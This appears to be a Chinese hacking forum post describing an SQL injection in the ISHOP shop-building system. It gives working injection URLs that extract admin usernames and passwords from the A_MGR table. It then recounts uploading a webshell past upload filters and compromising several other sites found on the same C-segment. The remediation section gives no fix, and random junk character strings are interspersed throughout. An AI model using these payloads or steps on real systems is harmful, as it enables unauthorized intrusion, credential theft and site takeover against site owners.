ISHOP商场建站系统注入漏洞

admin

发现一个注入点
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
% ]% m" `  U  i' ~6 k9 i8 F
) Q) _. Q9 ^+ i习惯性的加’having1=1--
& d8 `" \& B5 I+ d! H: f, j
! D3 x- J! P; x  Y7 R  y: N- }http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

, V8 h2 @2 X3 }* A6 Z: I: `# |0
8 h7 s# r+ Y4 ~6 }5 S7 {
爆出Diary_A.dl_Title（这时候很激动啊）
+ M1 |. J5 i+ H
" c4 J3 a/ z; \. P: R8 b那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去

: o" s1 l' ?; x! e. ~' I5 p爆到几个字段和表段 但是没找到需要的管理用户的字段
! }2 S; b0 w/ H
! h4 q; T5 @& y2 [# I# y. \蛋疼了 怎么办 然后去后台登陆页看源码
8 p! E8 @; c2 x
0
2 V% c  H9 i- c8 c( [. Y5 H
Input name= “ADUID”
) i# H) F$ o' ]1 g, E1 r6 I7 c& CInput name= “ADPWD”

很幸运 找到了字段那就继续
找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
8 Y/ y8 S3 g8 ?" S# [8 D2 K3 [4 s; Hhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表
' a  G; B) i8 c7 u
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
" _7 T# L. H( |- l& w
  s" @# ]8 n0 n又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
  w7 |9 }( `. k& c0 _
473

4 L$ x5 \$ V- a: E  f进后台
1 G! e/ V& k3 b% s, _, b! j

发现几个上传点 有的地方不能上传 而且防止恶意代码
, v8 D% x7 t& T) q/ Y
- i1 k; s+ N+ g/ G' P1 F. L# _没办法 各种百度各种找大牛 找到一只好像可以突破的马
# Q5 K5 I4 @& C- M+ Z9 l8 B7 Z
9 w6 o3 u8 P. m' N$ f
在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK
4 {% i7 ^! n( G* |/ Q$ S2 @% z# N
5 S- A0 J- \! J5 B* x4 k
0 b1 D) w/ u) q) f4 b
472

/ l' l# a  n' ^- E$ {1 m! A( Q9 e晚上不行了 去睡觉。。。
1 m: ~3 b! d' {4 ?" @! `第二天刚起床 闲的没事做继续日站吧
" }/ p, ?5 z! M- @
4 P' ~) q7 n' r9 R找个站 就把这个站的旁c扫了下

& ]  D. ~8 S. T, I9 O$ R发现c段也有一个购物站 ，然后还和这个站的模板差不多
* g! S2 `/ M* A9 t! ^* S" u
  f: |' Z8 }  w" I; N% @% i就找到会员登录口测试

'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀
" N7 B/ n* c  a
0 _+ f1 j0 R, [再次翻c段

翻出几个站 都成功拿下



修复方案：
' K# c( ?/ g' k, _/ F9 p5 ~0 \5 J1 n& _他们比我专业
6 o  B: e- X; h- ]4 Q" m1 l6 b, n​


9 [3 U% t4 w5 a) H6 l& @, L5 _/ }